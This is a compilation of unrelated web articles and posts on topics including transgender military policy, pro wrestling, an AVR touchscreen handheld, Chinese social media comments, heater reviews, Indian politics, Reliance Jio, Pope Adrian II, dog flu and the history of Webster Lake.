Woodrow Wilson. It made our military less effective. Today’s push for transgender soldiers is another, largely Democratic, effort to use the military to achieve social outcomes unrelated to the primary purpose of the military, i.e. defending the country and defeating its enemies.  The White House Press Corps questioned Press Secretary Sarah Huckabee Sanders about how Trump’s new policy squared with his promise during the campaign to “fight” for LGBT Americans. In fact, the new policy fulfills that promise because it is based on what the military says it must do to defend the country. No one has the “right” to serve in the military, but the military has the obligation to protect the country and the freedom of all within it.
-Silas Young made a splash in Ring of Honor as "The Last Real Man," but the past year has seen him explode, with victories over Jay Lethal, Bobby Fish, KUSHIDA, Jushin Thunder Liger, Mark Briscoe, and others. Young had a storied rivalry with Dalton Castle before challenging for three separate championships in ROH, as well. This Friday at Ring of Honor's Best in the World PPV, Young will face former ROH Champion Jay Lethal. Fightful.com will have full coverage of the show, but ahead of it, I spoke to Young for a "Manly or Not Manly" segment, as well as a full interview, which releases tomorrow.  ***  Manicures and Pedicures  "Definitely not manly. Those are something women do. Any guy who gets a pedicure or manicure should be embarrassed to admit that he does it."  So Silas young has never had a manicure?  "Absolutely not"  Partying the night before a match.  "Manly. Very manly. The Beer City Bruiser and myself definitely like to have some beverages and get into a little bit of trouble, whether it's the night before or the night of the show. It doesn't matter. We're partying every night."  Checking your own Wikipedia page.  "WHAT'S WIKIPEDIA?! Yeah, I know what Wikipedia it. Checking your own wikipedia page, tweeting about other guys, talking about how great you are. Not manly. Very pathetic and disgusting."  Man buns  "If you got long hair and gotta keep it up, that's one thing. If you have some short little thing here in the back and you pull it back to look like a man or look cool. You don't look like a man. You look like a CHUMP."  Skinny jeans.  "Not manly. Enough said. Give your girlfriend her pants back."  The NBA offseason.  "It must be nice to get paid a lot of money to do a couple games here and there and have a few months off, but in professional wrestling we don't have an offseason. If we get a little hurt or we roll our ankle during our match, we keep going because the show must go on. Not like these NBA athletes who stub their toe and have the next six weeks off."  Cologne.  "Colonge is alright, unless you're one of these people that doesn't shower and just uses it to cover up the stink of you. Go take a shower, you pathetic piece of crap."  Fightful.com will have full live coverage and discussion of Ring of Honor Best in the World, which you can purchase at ROHWrestling.com, and the FITE App.
-[Peter] deserves an award for doing more with less. He’s built a handheld device based on an AVR controller that has features normally associated with much more powerful devices. Here’s what it doesn’t do: no phone calls, no text messages, no accelerometer, and best of all no app approval needed. What it does do is leverage inexpensive, readily available components combined with common homebrew development techniques to create a touch sensitive handheld.  The demo video embedded after the break details the device playing video, rendering 3D objects, and displaying pictures and ebooks with touch scrolling. All of this is running at 60 fps for a smooth picture. The whole thing is no larger than the 320×240 LCD that he salvaged from a broken MP3 player. An Atmel AVR ATmega644 microcontroller ties together the display, a resistive touch screen, and a microSD card for storage. The chip also controls the backlight, a Lithium Polymer battery, and uses USB for PC connectivity, charging, and even a mouse or keyboard interface. He etched the PCB himself for surface mount components and managed to do it with just four jumpers needed on the underside.  This is a big leap forward from the last AVR based touch sensitive device we saw. All of the functionality seen in the demo is run using 4k of memory and 32k of programming space. Because [Peter’s] powering this at 3.3v the system clock is limited to 12MHz but he’s managed to make it work. We asked him to post code and schematics and he didn’t hold back. Head over to the microtouch project page to download the code, Eagle CAD files, and PCB artwork. All of the demo files are there just waiting for you to build on his hard work. When you’ve got something running, don’t forget to share it with us!
-Third most popular Sina Weibo microblog post of the past 24 hours…  From Sina Weibo:  @微博搞笑排行榜: A restaurant in Chengdu hired foreign male model to be a server!! Business has exploded!!!!  Comments from Sina Weibo:  山涧小院子：  Tisk tisk, seeing so many people in the comments criticizing these girls for worshiping the foreign and fawning over foreigners, really, that’s enough now! If if were a group of Heavenly Kingdom [Chinese] handsome guys, we’d be just as excited, okay?  曾静薇_：  Pshaw! What’s worth commenting about the selling sex? I just want to say: Where in Chengdu?  官网美瞳喵：  An offense to public morality! Every time I see this kind of news, my first reaction is: tell me the address!  lovewonwon：  Look at the pile of men who can’t get any eating sour grapes, as if they wouldn’t go if it were women dressed scantily as servers, hehe.  维生素Dddd：  Look at the female customers smiling and laughing so much they can’t even keep heir legs together…  喵难揍：  What can men do these days other than grumbling/complaining?! If you looked as handsome as them, there’d also be a pile of girls unable to keep their legs together for you! Unable to eat grapes so saying the grapes are sour! You’re not handsome, so you complain about women liking handsome guys; you don’t have money so you complain about beautiful girls living off rich men; you don’t have a lot of academic achievement so you complain about others having high scores but low ability! Which is to say you spend all day YY about beautiful women throwing themselves into your arms. If you have nothing better to do, then just rub one out [masturbate].  逗比-南波吐：  I see the one being carried is my girlfriend. What should I do? Should I break up with her?  扒蒜老妹儿-：  There are guys saying this group of girls worship the foreign and fawn over foreigners. Are you guys stupid or what? When you see a wave of beautiful women, do you first think of their nationality? Fuck, of course you’ll be looking at their bodies. If you had an eight-pack of abs, a face like Daniel Wu, you could be from Tieling Xiweizi Village and no one would care. Fuck, foreign worship can be dragged into even this.  我不是大龄女青年：  Fuck! What’s the address?! Get out of my way!  此号无人使用20140120：
-400-Watt Wall Panel Convection Heater is rated 4.0 out of 5 by 153 .  Rated 5 out of 5 by Yooper from Econo-Heat Wall Board Heater Econo-Heat 400 Watt Convection Flat Panel Space Heater with Programmable Thermostat This unit will "Convection" heat your room. You have to leave it on in order for the air to circulate in the room! Immediate heat is not and has never been the intended purpose for this product! I live in Upper Michigan where winters are very cold. These heaters work great! You need to follow the instructions in order for proper operation. Garage applications will not work well. An interior room of a home will work perfect. "TIP" Mount heater to interior wall, not a wall where outside temperatures are on the other side! This unit WILL draw cold air from the floor and heat it causing a natural rotation of air in the room! You will not be disappointed! They do work! especially if you have a "cold" room and are looking to supplement your existing heat source! Keep Warm! Summer will be back soon!  Rated 5 out of 5 by Skip from This product has been a life saver with the bitter cold weather we have had this year. I purchased three wall panel heaters hoping that they would help cut down the chill in three rooms that are extremely cold in my 100 year old house. Two of the rooms are bedrooms that are exposed on three sides to the outside, the other room is an all glass sunporch which also has exposure on three sides of the room. The difference in the temperature of the rooms now makes them livable and very comfortable. I also love the fact that the wall panels can be painted so that they blend in nicely with the room. I highly recommend this product to anyone who needs the extra warmth in a room and does not like the dryness that a space heater causes to the room and to the skin. The difference in the bedrooms has been unbelievable. The rooms are nice and toasty warm without being too hot or dry. Just right for a good nights sleep. I am thrilled with the difference in the sunroom. It is comfortable enough even with the bitter cold weather that we have experience this year to sit out in the sunroom and watch TV comfortably.  Rated 5 out of 5 by Alreeug from FABULOUS! We have had 3 econo-heaters warming up our house for over a year now. Just as they say, they heat up a small to medium sized room by about 10 degrees. They don't produce any dust and don't make any noise! We bought a small home a year and a half ago and the only source of heat is ceiling heat in the living room . We could have spent $5,000 to put in a mini ductless heating system but instead we thought we'd try out the econo-heaters first and save up for the ductless. We have been so happy with the efficiency and heat that we decided not to bother with the heat pump! We even had our first problem today, one of the heaters won't turn on. I called Econo-Heat and they said send me your receipt and address and we will get you a new one shipped in the next day or two. Great company, they really stand by their warranty! Definitely a great option for a small home!!!  Rated 4 out of 5 by Sandia from does the job! We purchased three heaters in July and I waited to post a report to make sure they worked as planned. We had two heaters installed as supplement heat in a north side bathroom in NM at high altitude. They performed as planned and heated easily two to three degrees above the central heat to keep the bathroom cozy in the early morning and at night in December. So we are satisfied. The third unit was installed in a spare bedroom on the North side. It also heated the room two to three degrees above the central heating system which is a radiant floor heating system in our house After a month of use one of the bathroom units developed a hair line crack that does not appear to interfere with the function and is barely visible. It may shorten the lifetime of the unit but for now no problem. The installation was done by a professional as we are not handy. He had no problem and did the work fast. The units look nice and are out of the way replacing space heaters.  Rated 4 out of 5 by pdb1 from Simple, good looking solution After reading through all the reviews, I decided to purchase three of these for areas of the house that were not well heated. In particular, a couple bathrooms that had no heat. In terms of performance, they do about what I expected of convective type heaters - plug them in and leave them on. These heaters work well for a smaller room, like a bathroom. One of them developed a crack and stopped working. I contacted the company by phone and left a message. the product manager phoned me back the same day. I explained what happened and emailed him some photos. He thought it must have been damaged in shipping and then the heating/cooling cycles made the crack larger which eventually breached the heating element. He immediately sent a warranty replacement. Great customer service.  Rated 5 out of 5 by chica from worked for us! Needed extra heat in a chilly alcove during the extra cold winter months we've begun experiencing. Looked at oil-filled radiators, which are very efficient, but wanted something with a low profile that could be wall-mounted not far from an outlet (comes with 6 ft of cord). At 400 WATTS it is the equivalent of four 100W incandescent light bulbs, but produces far more heat. (Read the safety instructions such as should not be under furniture, near drapes, etc., but is safe for pets and children.) It was easy and fairly quick to mount (only needed to cut down one of the four plastic insulated spacer mounts because our older plaster wall was not perfectly even). We did experience the "new" chemical smell, but with continuous use the smell was gone within 48 hours. Added bonus is that you can paint this to match the wall. Simple and aesthetically pleasing, it does not draw attention to itself. This is by far the best we could find until something better comes along. And the price (before the electric bill) is superb compared to more expensive oil-filled wall mounted radiators that take up more space. Very pleased with this simple and inexpensive solution to our short-term needs.  Rated 4 out of 5 by kj1nyc from Gets the job done I needed a heat source for a small bathroom with 3 outside walls. The temperature in the bathroom easily dipped into the teens in the winter time since it had no heat source. I bought this because it is efficient and it is low profile. So far, so good. It warms the room to a manageable temp but not anywhere near even 65 degrees b/c of the outside 3 walls. It also doesn't warm up the tile floor because of the nature of the heat. It does get very hot so be careful around it with pets or kids. Some people complain that it cracks but I haven't encountered that yet. Installed and painted in 20 minutes..needed a second person to hold it in place while I screwed it in.
-MAKING POLITICAL PREDICTIONS in India is risky. The ruling party in Delhi often suffers so many setbacks that it is hard to believe voters will support it again. So it was with Congress in 2009, yet to general surprise it was re-elected with a bigger mandate than before. Explanations varied: urban voters liked rapid growth; rural ones were impressed by new welfare measures; allies flourished in the south and Congress roared in big Andhra Pradesh; perhaps people distrusted the opposition BJP’s candidates, such as Narendra Modi (see article).  Almost any explanation, and its opposite, could be right. Politics in India is big and messy: hundreds of millions of voters, from vastly different backgrounds, are bound to hold widely divergent views. Concerns at local and state level often trump national ones, and national affairs can appear as an amalgam of assorted local rivalries.  Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.  The next general election is in 2014, unless Congress is forced out sooner. The party’s electoral prospects look poor. Mr Singh, once a model of rectitude, is tarnished by presiding over the most corrupt government in India’s independent history. And although he had a hard-won reputation for good economic management, his new efforts to reform are unlikely to win much support from the public.  As usual, the ruling party has been thumped in big states. Andhra Pradesh provided more Congress MPs in 2009 than any other state, but now a local leader’s desertion has shattered the party there. Congress has also done badly in massive Uttar Pradesh (UP), earning only a poor fourth place in the state election there this year.  Rahul Gandhi—the son, grandson and great-grandson of prime ministers—was by now supposed to be reviving the party, or preparing to assume high office. But having led a dreadful campaign for Congress in UP, he seems to have lost his nerve. No one really knows what he stands for or whether he can lead. Nobody ever gets to interview either him or his mother, Sonia, the party president. But that looks like a defensive strategy, and meanwhile no other young leaders can rise.  Sachin Pilot, a junior minister and loyal friend of the Gandhis, says that analysis is unfair. Mr Gandhi’s restraint in reaching for power is admirable, he says, and no rising stars are being held back. Other observers are more sceptical. “Rahul Gandhi intrinsically doesn’t want it. A level of detachment is built into his personality,” says a Congress leader.  The Gandhi dynasty still holds together Congress (which lacks much ideology beyond broad secularism) and helps to settle leadership spats. But it matters less and less to voters. Regional dynasties, with power and money to spread around their states, are in the ascendant. Without their own state as a fief, the Gandhis look unrooted. A newspaper editor in Delhi thinks India is getting ready “to make the Gandhi family irrelevant”.  The crumb of hope for Congress is that the national alternatives are weak. Arun Jaitley, head of the BJP in parliament’s upper house, says the party has a “galaxy of leaders” for 2014. But they are really a collection of regional leaders, and the BJP is unsure of its ideology, having toned down its earlier, odious, form of Hindu nationalism but also muddied its old pro-market stance. It gets little support in India’s south, east or north-east.  The party tries hard to be seen as fighting corruption, yet projecting itself as clean is tricky. It has had its share of scams and crookedness, notably in the southern state of Karnataka, and it lacks ideas for making things better. It opportunistically backed Anna Hazare, an anti-graft campaigner, when he became popular, but not his plans for a powerful anti-graft ombudsman.  Smaller national parties do not look promising. Ramachandra Guha, the historian, thinks a national two-party system as in America would raise standards. The lesson from India’s states, too, is that a regular alternation of parties in power tends to deliver the best results. This happens in Kerala and Tamil Nadu in the south and Himachal Pradesh and Punjab in the north. As parties compete to offer better public services and other social goods, things like literacy, the position of women and infant-mortality rates improve.  Think local  Regional parties fill the gap. Usually built around a charismatic individual who becomes a state’s chief minister, they matter, wielding near-presidential power over a territory that often has a country-sized population. These states control roughly half of all India’s public spending. The most prosperous ones, which rely least on Delhi for discretionary funds, throw up the strongest leaders, who often influence what happens in Delhi too.  What is new is the arrival of floating middle-class voters who swing between parties depending on how they perform, not on promises of rewards for their group  The mightiest satraps pay the least attention to national parties. They include three women: Mamata Banerjee in West Bengal, Jayaram Jayalalitha in Tamil Nadu and Mayawati, a Dalit (the lowest caste) who ruled UP until earlier this year. The others are Nitish Kumar in Bihar, Akhilesh Yadav and family in UP, Mr Modi in Gujarat and Sharad Pawar, an ally of Congress in Maharashtra and nationally. They run some of India’s wealthiest states and preside over more than 600m people. They are unlikely to unite as a coherent third force of politics, but have great veto power over national matters.  Yet some voters are beginning to drift away from the rigid identity politics of old. Nationally, Congress still gathers in the Muslim and the more secular Hindu votes and the BJP the more fervent Hindus, and caste still counts: Mayawati relies on Dalit votes and the Yadav family on middle-ranking castes and Muslims in UP. Leaders, in turn, reward favoured groups, sometimes referred to as “vote banks”, with government jobs, education quotas and other handouts.  What is new is the arrival of a group of floating middle-class voters who swing between parties depending on how they perform, not on promises of rewards for their particular group. Mostly young, urban, literate, mobile and privately employed, they are increasingly well-informed thanks to cable news, social media and mobile phones.  For now they are in a minority, but they will increase as cities expand and schooling improves. Around 100m voters in 2014 will be first-timers. “Young India wants good policy. It wants a good job, education,” says a high-profile Congress figure in Mumbai. Another government leader calls the middle class a new “caste”. He reckons it is the single most cheering thing in Indian politics.  These voters may be starting to decide results. For evidence, look at Mr Kumar’s triumphant re-election in Bihar in late 2010. Caste was still a factor, but voters overwhelmingly rewarded him for delivering better roads, schools and hospitals, improving law and order and lifting the economy. Mr Modi keeps being re-elected in Gujarat mostly because he runs the place efficiently.  The chief minister of Chhattisgarh, Raman Singh, says that voters re-elect him because their incomes are rising and public services are getting better. He identifies, especially, the more transparent and efficient delivery of food rations to the poor, thanks to computerisation and the spread of ID cards.  If holding leaders accountable for their performance becomes a national habit, it will be in part because of an explosion in television watching. Rajdeep Sardesai, a leading news presenter and editor since the 1990s, says India now has 365 round-the-clock satellite channels, as well as many city-based and cable ones. Television helps shape reactions to national issues such as corruption. Mr Hazare’s dramatic street campaign and public fasts were made for TV and earned non-stop live cable-news coverage. Mr Sardesai thinks TV lets voters “vent anger against the system” and judge leaders from close by, but worries that it might lead to “public hatred of politics”.  Such hatred would be understandable because much of Indian politics is rotten. A series of outrageous scams (see table 1) has left voters resentful at the huge losses of revenue involved, especially as a tiny minority grew rich beyond the dreams of avarice. The billionaires too often flourish thanks to political connections and access to natural resources, land and public goods such as telecoms spectrum. Growing inequality spreads dismay.  India may be passing through an American-style robber-baron phase, driven by a commodity boom and a shift from a closed to an open economy. Gloomier commentators see an outright Russian-style kleptocracy. “We are creating an oligarchy,” sighs a commentator in Delhi. A leading Congress figure rails that “there are no audits of political parties. There is such a deep nexus of property and political funding. Many political leaders are sustained only because they have huge war chests.”  In UP one politician was recently filmed telling officials it was acceptable to steal, and several ministers were sacked earlier this year for pocketing $1.2 billion from a scheme supposed to help sick villagers. A political party is said to clear business projects in exchange for 30% equity in them. One satrap is believed to have become the biggest property developer in India.  The costs are real. A power minister in one state reportedly tried to close functioning power stations so he could take a cut when pricier electricity was imported instead. India’s new airports, irrigation schemes and toll roads are typically overpriced and often late because they are built by firms with political ties.  Politicians want the lifestyle enjoyed by the country’s billionaires, but parties also raise huge quantities of cash to win elections. Voting in India is generally clean and honest, but the campaigning is expensive and dirty. And everything is big. A typical MP in the Lok Sabha, the lower house of the national parliament, has to woo around 1m voters.  Even state assemblymen have massive constituencies. Money is needed for the usual stuff: posters, rallies, trips to villages, local organisers and the like. In India many voters in tight races also expect pre-election goodies, so politicians regularly dish out cash, TVs, food mixers, saris, rice, whisky and even, in Punjab this year, heroin. Official limits on party spending are universally flouted. Even the limited hope of letting private donors and parties maintain their close relations but making them transparent, as in America, seems forlorn at the moment.  More likely, politics will become cleaner if and when India’s economy shifts away from a system in which politicians allocate public goods. More wealth created by entrepreneurs, innovators and manufacturers might loosen political ties. But such changes will take time.
-Only India's richest man could afford to offer free 4G services to millions of users — and Mukesh Ambani just did that.  The Chairman and managing director of Reliance Industries announced on Thursday that his phone company, Reliance Jio, will extend its current three-month offer of free 4G LTE services for another quarter.  This means new and the existing 52 million Jio customers will get free 4G connectivity until March 31, 2017.  The free services include unlimited free voice calls, 1GB of 4G LTE data every day, access to public Wi-Fi hotspots spread across the country as well as video-on-demand services.  Reliance Industries' Chairman and MD, Mukesh Ambani announcing the new Jio "Happy New Year Offer" Image: screengrab/jio digital  Ambani also said Jio had surpassed 50 million subscribers in less than three months since the service launched, and the company continues to sign up over 600,000 new users on an average every day.  Ambani claims that his users use 25 times more data than an average Indian broadband user, making Jio the country's largest broadband internet service provider.  Jio's launch in September this year was not welcomed by existing carriers, especially when Ambani announced his network won't charge users for voice calls, which accounted for as much as 70 percent revenues for some carriers.  Reliance Industries has already invested upwards of $20 billion in buying spectrum, setting up the network and making things operational. It is yet to see any revenues coming in.
-Pope Adrian II ( Latin : Adrianus PP. II , Italian : Adriano II ; 792 – 14 December 872) was Pope from 14 December 867 to his death in 872. He was a member of a noble Roman family who became pope at an advanced age, despite his objections. [2]  He maintained, but with less energy, the policies of his predecessor Nicholas I. Lothar II, king of Lotharingia, who died in 869, left Adrian to mediate between the Frankish kings with a view to assuring the Holy Roman Emperor Louis II the inheritance of Lothar II, Louis's brother. Adrian sought to maintain good relations with Louis, since the latter's campaigns in southern Italy had the potential to free the papacy from the threat posed by the Muslims.[4]  Photius, the Patriarch of Constantinople, shortly after the council in which he had pronounced sentence of deposition against Pope Nicholas I, was driven from the patriarchate by a new emperor, Basil the Macedonian, who favoured his rival Ignatius. An Ecumenical Council (Considered the 8th Ecumenical Council by the Catholic Church) was convoked as the Fourth Council of Constantinople to decide this matter. At this council Adrian was represented by legates who presided at the condemnation of Photius as a heretic, but did not succeed in coming to an understanding with Ignatius on the subject of jurisdiction over the Bulgarian church.  Like his predecessor Nicholas I, Adrian was forced to submit in temporal affairs to the interference of the emperor Louis II, who placed him under the surveillance of Arsenius, bishop of Orte, his confidential adviser, and Arsenius' nephew Anastasius, the librarian.  Adrian had in his youth married a woman named Stephania, by whom he had a daughter, and both were still living at his election, following which they lived with him in the Lateran Palace. In 868, they were carried off and murdered by Arsenius' son Eleutherius, who had forcibly married the daughter.[5]  Adrian died in 872 after exactly five years as pope.
-A dangerous new strain of dog flu is spreading concern across the West. A dog in Montana recently tested positive for the highly contagious virus, and the Washington state health department is warning pet owners after possible exposure at a Seattle-area kennel.  In Chicago, the dog flu spread so quickly last year that some shelters were forced to close their doors to prevent further contamination, reports CBS News correspondent Adriana Diaz.  At Paws Chicago, they've treated around 300 sick dogs at their hospital and helped find them temporary homes while they recover. Vets understand the difficulty of containing this highly contagious virus.  Ashley Leise walks dogs in the Seattle area. She's paying extra close attention to her four-legged friends after warnings about the new strain of dog flu.  "They can get sick just like us, and I know how much I hate being sick," Leise said.  King County public health officials say up to 90 dogs staying at a kennel outside of Seattle may have been exposed to the virus. Two have tested positive for flu, but further tests are needed to confirm it's the new strain.  "None of the dogs have immunity to fight it off, so you see large numbers of dogs getting ill when the virus starts to circulate," said Beth Lipton, vet for Public Health Seattle and King County. "When dogs are going to day care or dog parks or boarding overnight in kennel facilities, it can spread very rapidly."  Cases first showed up last March in Chicago and spread quickly. Around 2,000 dogs in 24 states have been infected. A vaccine was made available in November.  Vets say the disease is rarely fatal, but owners should see a vet right away if their dog shows symptoms.  "So if your dog doesn't eat well, misses a meal, if you see coughing, if you see lethargy, just being tired, moping around, it could be a sign of a fever," vet Rob McMonigle said. "If you see that, give your local vet a call and schedule an appointment because they'll need to get on some special medications for it."  The Seattle and King County health department says their Facebook post outlining the symptoms has been viewed 189,000 times since Tuesday. Local vets are now stocking up on the vaccine.  And while the virus is no laughing matter, a viral video features a Chicago pup named Herbert who's putting on a brave face while recovering from the flu.  "Dogs are household members and often times they're like kids in the family," Lipton said. "People want to take care of their pets and do the right thing and keep them safe."  Humans can't contract the virus, but they could spread it to healthy dogs after close contact with an infected dog.
-History of Lake Chargoggagoggmanchauggagoggchaubunagungamaugg (from the Webster TIMES Centennial Anniversary Issue, 1859-1959) The Name From the days when the big lake with the longest name in the United States was a central gathering place for the Nipmuc Indians and their friends, the great pond - divided by narrow channels into three larger bodies of water - has been famed throughout the area.  The Indians had several different names for the great body of water, as can be learned from early maps and old historical records. However, all of these were similar in part and had almost the same translation, according to Indian language. Among early names were Chabanaguncamogue, Chaubanagogum, and Chaubunagungamaug, the latter now incorporated in the long name. All historians - and Indians of this and other territories - have agreed that Chaubunagungamaugg means "Fishing Place at the Boundary". One of the tribes on the other side of the lake was the Monuhchogoks, which was corrupted to the name Manchaug. A map of 1795, showing the town of Dudley, indicated the Lake name as "Chargoggaggoggmanchoggagogg". In 1831, both Dudley and Oxford, which adjoined the lake, filed maps listing the name of the pond as Chargoggagoggmanchoggagogg, but a survey of the lake done in 1830 lists the name as Chaubunagungamaugg, the ancient name. Authorities have indicated that the development of the name to the present long form stems from the time Samuel Slater began his mills near the lake, which was nearer the Manchaug village. Hence the Indian designation Chargoggagoggmanchauggagogg meaning "Englishmen at Manchaug," came into use. Later they added their original Indian descriptive name, and the entire designation becomes "Englishmen at Manchaug at the Fishing Place at the Boundary" -- or Lake Chargoggagoggmanchauggagoggchaubunagungamaugg. Despite this official knowledge, the lake - now descending too often to the designation of Webster Lake - is known the world over by the humorous translation "You Fish on Your Side, I Fish on My Side, Nobody Fish in the Middle". As far as is known, the great publicity attained by this translation and the length of the name, stems from a story once written by Larry Daly, editor of the Webster TIMES, and widely picked up by other papers and magazines. In his humorous article about the Lake and the Nipmucs, and the disagreement over the translation, he submitted his own translation - which is now more freely accepted than the authentic meaning. In the days of the Indians, the lake was a noted fishing place. The tribes gathered there for their pow-wows. The coming of the white man changed that kind of gathering, but throughout the years, the lake with the long name has continued to attract thousands of people to its shores each summer.  Some Statistics The area of the Lake is 1,442 acres, which comprise three spring-fed lakes joined by narrow channels, North Pond, Middle Pond and South Pond. There are 17 miles of shore line. The length of the Lake is 3.25 miles, and at its widest point in Middle Pond, the distance is 1.125 miles. The shore line of North Pond is 5.78 miles, of Middle Pond, 7.06 miles, and South Pond is 4.17 miles.  A depth chart for Webster Lake from the Commonwealth of Massachusetts Division of Fisheries and Wildlife can be seen at: http://www.mass.gov/dfwele/dfw/dfw_pond/dfwwebst.pdf Memorial Beach The idea of taking the lake beach as a memorial to World War II veterans was promulgated by Webster TIMES Editor Laurence Daly, through the pages of the newspaper.  Residents were eager to pay tribute to the boys in service, and several ideas were suggested, including a half-million dollar civic center in the middle of town. However, scores of servicemen corresponded from time to time with the popular editor. Mr. Daly soon noticed how frequently these men, stationed in all parts of the world, mentioned that they dreamed of the day when they could once again view our lake and enjoy a swim at Second Island. Because the Slaters had so generously made this beach accessible to the townspeople, few remembered that it was not town-owned and might someday be lost to the public. Therefore, Mr. Daly began a campaign through the TIMES to enlist interest in buying Second Island as a War Memorial. Mrs. Slater was reluctant to sell, but the idea gained in favor and soon there was talk not only of taking Second Island by eminent domain, but also of creating a fine Athletic Field at the park on Ray Street which the Slaters had given to the town years before. Articles were inserted in the Town Warrant of 1946 and it was voted to take Second Island by eminent domain. The courts set a price of $20,000 which was paid to H. Nelson Slater for the beach and the great acreage surrounding it. The people further appropriated money, about $65,000, to construct a locker house with concession stand, to build a road, plant trees, and landscape the area. The beach was enlarged and improved though the efforts of Alex Starzec and the Parks Department, which supervises Second Island Memorial Beach. Today, there are two walking tracks, one which incorporates the old French River Bridge, boat launch, basketball court, playground, concession stand and ample parking. Early Boat Races Racing on the Lake attracted noted oarsmen from all parts of New England. A race course was established near Killdeer Point, which came to be known as Sea Scout Point and was most often the starting point for sailboat races which were held on the weekends. Racing was in six and eight-oared sculls, with sailing coming into vogue later. Sportsmen came from Boston and Providence for these events, but transportation to the "point" was usually by boat from Beacon Park, or Eliot's Shore, as it was then called, where there was a Yacht Club headquarters. Union Point was a favorite spot for observation, as well as for picnics and water sports. Most of the development of the lake occurred after the advent of the railroad made it possible for visitors and townspeople to reach various points along the lake. The train to East Thompson stopped at the depot downtown and also at the depot in the East Village, and disembarked passengers all along the lake shore -- Beacon Park, Union Point, Point Pleasant, Bay View (from there it was a good walk into Point Breeze), and also at Bates Grove. The greatest resort period in the Lake's history probably occurred from 1895 to 1930 when a fleet of boats was in operation each summer to take thousands of passengers to the cool spots where picnics, clambakes, bowling, dancing, swimming and canoeing flourished. The Hills, father Edgar S. and son, Ralph B., operated two of the most prominent resorts -- Point Breeze and Beacon Park and also operated the only fleet of boats ever to be successfully maintained on the Lake. Edgar S. Hill was connected with many activities in town, including the TIMES, the Music Hall, the State and Liberty Theatres, lake resorts, and the Street Railway or trolley cars. A small clubhouse was in existence at Bay View and another at Point Breeze. There was also a picnic grove and resort at Bates Grove. Edgar Hill purchased Point Breeze in 1897. Actually, Hill swapped his interest in the Music Hall for the Lake resort. About the same time, he took over Beacon Park and purchased a fleet of lake "steamers". At Point Breeze, Mr. Hill added on the huge dance hall, which later owner Henry Gawle used as the dining room for the resort which featured clambakes and catered to outings. Mr. Hill also built a great stairway, about 20 feet wide, leading down the steep embankment to a wharf and landing shed, where the steamers pulled in with thousands of visitors each summer. Beacon Park Eliot's Shore, or Beacon Park as it was later named, was purchased from the Ancient Order of Hibernians, who had taken it over from Father Quan of St. Louis parish. Already popular in the area as a picnic and swimming spot, Mr. Hill built a big pavilion, a dance hall, a steamer house, a boat shed and two canoe houses. In addition, a wharf was constructed at the shore, and later one of the few open-air theatres in this section was built at Beacon Park. The pavilion's top floor was on street level at the park entrance, but stood three-stories tall on the shore side. The third floor held a small dining room and a large "casino" where soft drinks, ice cream, popcorn and souvenirs were sold. (At no time was liquor ever sold at these lake resorts in the old days.) The second floor contained the apartment in which Ralph Hill and his wife lived and on the ground floor were dressing rooms for the actors and actresses, as well as supply rooms. On each of the three stories was a wide verandah overlooking the lake. This spacious building was converted into a lovely private dwelling when Alfred E. Kleindienst purchased Beacon Park in 1937. The Hills built a dance hall and also a waiting station, after the trolley tracks were run up to Beacon Park. The original fleet of boats consisted of the City of Webster (100 passengers); Empire (75 passengers); Leslie (35 passengers); Point Breeze (35 passengers) and the Vixen (18 passengers). Regular stops on the Lake were made at Point Pleasant, where Henry and Ma Bugbee rented cottages; at Bay View, where Monsey Camp was later located; Point Breeze, Long Island, Goat Island, and Wawela Park. Industries from Worcester and Providence chartered trains to come here for their annual outings and hired the steamers for the day. At that time there was nothing at either Union Point or Killdeer. In fact the latter was actually an island, accessible from the Gore Road only through a swamp, and later by a small footpath and then a buggy path which was made by filling in. Eventually the whole swamp was filled in and Killdeer became one of the most populated places on the lake. When persons living at one of the islands or at Wawela wanted the boat to stop by for a passenger, a red flag was placed on the landing in the daytime or a red lantern at night. Because of the numerous families living at Long Island and Wawela, there were many night passengers, especially for the shows at the Beacon Park theatre. Acts from the regular vaudeville circuits were hired throughout the summer, the show changing each week. Trolley Run About 1899, the trolley line was run from the Main Street up Lake Street and over a bridge to Beacon Park. This opened up a new world for townspeople, and make the lake accessible for family outings. Each Sunday for many years, special attractions were booked for the park where visitors could watch free of charge the great feats of that era. There were balloon ascensions, high-wire acts, and other types of aerial and diving stunts. A baseball field was laid out and Webster's well-known semi-pro teams played there weekly, drawing large crowds of spectators.  In 1920, Ralph Hill purchased Beacon Park from his father and continued to expand the attractions until the Depression and the advent of the family automobile changed the picture of the lake. The younger Mr. Hill, who previously had been connected with the Webster TIMES as a bookkeeper, and who also conducted bowling alleys on Main Street, became affiliated with his father at the State and Liberty Theatres after he sold Beacon Park. When Ralph Hill took over Beacon Park, he engaged some of the outstanding carnival attractions and also operated a ferriswheel, merry-go-round and other amusements on a concession basis. He relates that until the trolleys stopped running to Beacon Park, all the extensive lighting for the grounds came from a special hitch-up with the trolley wires. The Hills sold Point Breeze to Michael Commons, who in turn sold to Michael Lilla, who operated the resort for many years until it was taken over by the Gawle family. Killdeer About 1920, William G. Haggerty opened up a section at Killdeer, known as Sandy Shore -- a beautiful curving beach. He erected bath houses and concession stands for dispensing food. Only means of access was via the steamers from Beacon Park, and for several years, the popular Sunday excursion was a visit to Beacon Park and a steamer ride to Sandy Shore for the excellent swimming. About the mid-1920's, Killdeer Island was bought from the Slaters by K.D. Purdy of Schenectady, N.Y., and Frank E. Wilber of Webster, representing the Killdeer Development Co. George Hall was also connected with the development. They installed a road by "filling" a portion of the swampland and constructed many bungalows. Their purchase included Sandy Shore, and this semi-public beach when it became "lots for sale". Ralph Hill then leased Second Island for four years, and moved the Sandy Shore bathhouse to this section of the lake. He tried to buy the beach and land from Mr. Slater but was unable to do so. A few years later, Mr. Slater offered to lease the Second Island area to the Town of Webster at a nominal fee of $1 per year, and this offer continued for about 10 years. Beacon Park Sold About 1934, Mr. Hill decided to give up operation of Beacon Park, and offered to sell the entire site, with all the buildings and facilities to the Town of Webster at a cost of $35,000. The article was turned down at the annual Town Meeting, and it seemed as if Webster had lost forever its opportunity to own shore front at the lake which could be used free of charge by the townspeople. In 1937, Alfred Kleindienst bought it and converted it into a private estate.  In the mid-sixties, Leo Didonato purchased the property and sold it to a group of investors who constructed 98 condominium units called Beacon Park. In the meantime, development had been going on all along the shores. Union Point became a popular spot for summer homes, as did Point Pleasant, which eventually passed from the ownership of the Bugbees into private hands. A few homes were built at "The Narrows", the channel scarcely wide enough for the big steamers to pass through, and which connects the north and middle ponds of the lake. Here was a favorite swimming place for youngsters because it was an easy swim across the narrow channel to Killdeer, and then 